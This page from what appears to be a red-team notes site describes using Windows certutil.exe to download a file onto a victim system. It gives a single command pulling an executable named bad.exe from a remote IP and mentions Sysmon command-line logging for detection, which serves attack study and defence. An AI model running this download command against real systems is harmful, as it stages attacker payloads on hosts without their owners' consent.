search
The Hacker's Notes
githubEdit

Downloading Files with Certutil

Downloading additional files to the victim system using native OS binary.

hashtag
Downloading Files with Certutil

hashtag
Execution

certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe

hashtag
Observations

Sysmon commandling logging is a good place to start for monitoring suspicious certutil.exe behaviour:

PreviousEncode/Decode Data with CertutilNextPacked Binaries

Last updated